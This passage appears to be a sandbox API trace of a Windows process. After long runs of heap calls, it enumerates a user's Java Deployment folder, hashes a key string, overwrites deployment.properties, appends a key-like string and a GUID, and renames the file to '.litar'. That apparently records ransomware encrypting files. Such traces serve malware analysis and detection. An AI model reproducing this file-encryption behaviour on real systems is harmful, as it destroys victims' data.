Flags=0x0, Size=0x90) returned 0x30755c8 [0127.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.474] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0127.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0127.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0127.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.475] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0127.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0127.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0127.475] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0127.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0127.475] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0127.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.475] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0127.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0127.475] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0127.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0127.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0127.475] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.475] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.475] PathFindFileNameW (pszPath="") returned="" [0127.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.475] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.477] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.477] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1ea6db0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfec5c570, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="deployment.properties", cAlternateFileName="DEPLOY~1.PRO")) returned 1 [0127.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd6) returned 0x2fd16f0 [0127.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.477] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties") returned=".properties" [0127.477] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.477] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=719) returned 1 [0127.477] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.479] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x2a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.479] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.480] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.480] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.481] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x2cf, lpOverlapped=0x0) returned 1 [0127.481] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.481] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.481] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.481] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0127.482] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.482] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.482] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.482] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.482] GetLastError () returned 0x0 [0127.482] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.482] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0127.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2d0) returned 0x30950c0 [0127.482] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.482] WriteFile (in: hFile=0x624, lpBuffer=0x30950c0*, nNumberOfBytesToWrite=0x2ca, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30950c0*, lpNumberOfBytesWritten=0x398fb24*=0x2ca, lpOverlapped=0x0) returned 1 [0127.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30950c0 | out: hHeap=0x5c0000) returned 1 [0127.482] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x2cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.483] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.483] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.483] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.483] CloseHandle (hObject=0x624) returned 1 [0127.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020a70 [0127.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0127.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.484] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties.litar")) returned 1 [0127.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.484] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd16f0 | out: hHeap=0x5c0000) returned 1 [0127.485] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0127.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0127.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd1b8 [0127.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfc) returned 0x3098bf8 [0127.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 